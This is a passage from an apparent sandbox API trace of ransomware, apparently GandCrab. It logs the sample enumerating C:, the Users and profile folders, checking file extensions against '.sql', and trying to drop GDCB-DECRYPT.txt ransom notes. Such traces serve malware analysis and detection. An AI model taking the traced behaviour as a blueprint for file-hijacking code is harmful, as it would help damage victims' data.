param_1="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31 [0053.036] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31 [0053.036] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.036] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0053.036] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0053.036] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0053.036] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0053.036] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0053.036] lstrcmpW (lpString1="swapfile.sys", lpString2=".") returned 1 [0053.036] lstrcmpW (lpString1="swapfile.sys", lpString2="..") returned 1 [0053.036] lstrcatW (in: lpString1="C:\\", lpString2="swapfile.sys" | out: lpString1="C:\\swapfile.sys") returned="C:\\swapfile.sys" [0053.036] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.037] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\swapfile.sys") returned 15 [0053.037] lstrlenW (lpString="C:\\swapfile.sys") returned 15 [0053.037] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.037] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0053.037] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0053.037] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0053.037] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0053.037] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0053.037] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.038] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.038] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.038] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.038] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.038] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.038] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0053.038] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*" [0053.038] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0xffffffff [0053.038] lstrcmpW (lpString1="ʅP", lpString2=".") returned 1 [0053.038] lstrcmpW (lpString1="ʅP", lpString2="..") returned 1 [0053.038] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="ʅP" | out: lpString1="C:\\System Volume Information\\ʅP") returned="C:\\System Volume Information\\ʅP" [0053.038] lstrlenW (lpString="C:\\System Volume Information\\ʅP") returned 32 [0053.038] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0053.038] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0053.038] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.039] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\System Volume Information\\\\GDCB-DECRYPT.txt") returned 46 [0053.039] CreateFileW (lpFileName="C:\\System Volume Information\\\\GDCB-DECRYPT.txt" (normalized: "c:\\system volume information\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.039] GetLastError () returned 0x5 [0053.039] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.039] lstrlenW (lpString="C:\\System Volume Information\\") returned 29 [0053.039] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*" | out: lpString1="C:\\System Volume Information\\*") returned="C:\\System Volume Information\\*" [0053.039] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0xffffffff [0053.039] FindNextFileW (in: hFindFile=0x5889e0, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0053.039] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0053.039] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0053.039] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0053.039] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0053.039] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.040] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.040] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.040] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.040] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.040] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.040] lstrlenW (lpString="C:\\Users\\") returned 9 [0053.040] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*" [0053.040] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x588e60 [0053.040] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.040] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.040] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.040] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.040] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.040] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0053.040] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0053.040] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0053.040] lstrlenW (lpString="C:\\Users\\All Users") returned 18 [0053.040] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.040] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0053.042] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps") returned 21 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.042] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0053.042] lstrlenW (lpString="C:\\Users\\Default") returned 16 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.042] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default User" | out: lpString1="C:\\Users\\Default User") returned="C:\\Users\\Default User" [0053.042] lstrlenW (lpString="C:\\Users\\Default User") returned 21 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.042] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\desktop.ini") returned="C:\\Users\\desktop.ini" [0053.042] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20 [0053.042] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.042] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\GDCB-DECRYPT.txt") returned="C:\\Users\\GDCB-DECRYPT.txt" [0053.042] lstrlenW (lpString="C:\\Users\\GDCB-DECRYPT.txt") returned 25 [0053.042] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0053.042] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0053.042] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0053.042] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0053.042] lstrlenW (lpString="C:\\Users\\Public") returned 15 [0053.042] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0053.042] FindClose (in: hFindFile=0x588e60 | out: hFindFile=0x588e60) returned 1 [0053.042] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.043] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\\\GDCB-DECRYPT.txt") returned 26 [0053.043] CreateFileW (lpFileName="C:\\Users\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.043] GetLastError () returned 0x50 [0053.043] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.043] lstrlenW (lpString="C:\\Users\\") returned 9 [0053.043] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*" | out: lpString1="C:\\Users\\*") returned="C:\\Users\\*" [0053.043] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x588a60 [0053.043] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.043] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0053.043] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.043] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.044] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0053.044] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0053.044] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0053.044] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0053.044] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0053.044] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.044] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.044] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0053.044] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0053.044] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0053.044] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0053.044] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0053.044] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.045] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.045] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\") returned 22 [0053.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\*" [0053.045] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0053.045] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.045] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.045] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.045] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.045] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.045] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0053.045] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0053.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0053.045] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned 29 [0053.045] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.045] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0053.045] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0053.045] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0053.045] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned 38 [0053.045] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.045] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0053.045] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned 30 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Cookies" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Cookies") returned 29 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 29 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned 31 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned 31 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned 31 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Links") returned 27 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned 36 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music") returned 27 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned 34 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned 29 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.046] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0053.046] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0053.046] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT" [0053.046] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32 [0053.046] lstrcmpW (lpString1=".DAT", lpString2=".sql") returned -1 [0053.046] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37 [0053.047] lstrcmpW (lpString1=".LOG1", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37 [0053.047] lstrcmpW (lpString1=".LOG2", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77 [0053.047] lstrcmpW (lpString1=".blf", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" [0053.047] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 114 [0053.047] lstrcmpW (lpString1=".regtrans-ms", lpString2=".sql") returned -1 [0053.047] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0053.047] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0053.047] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms" 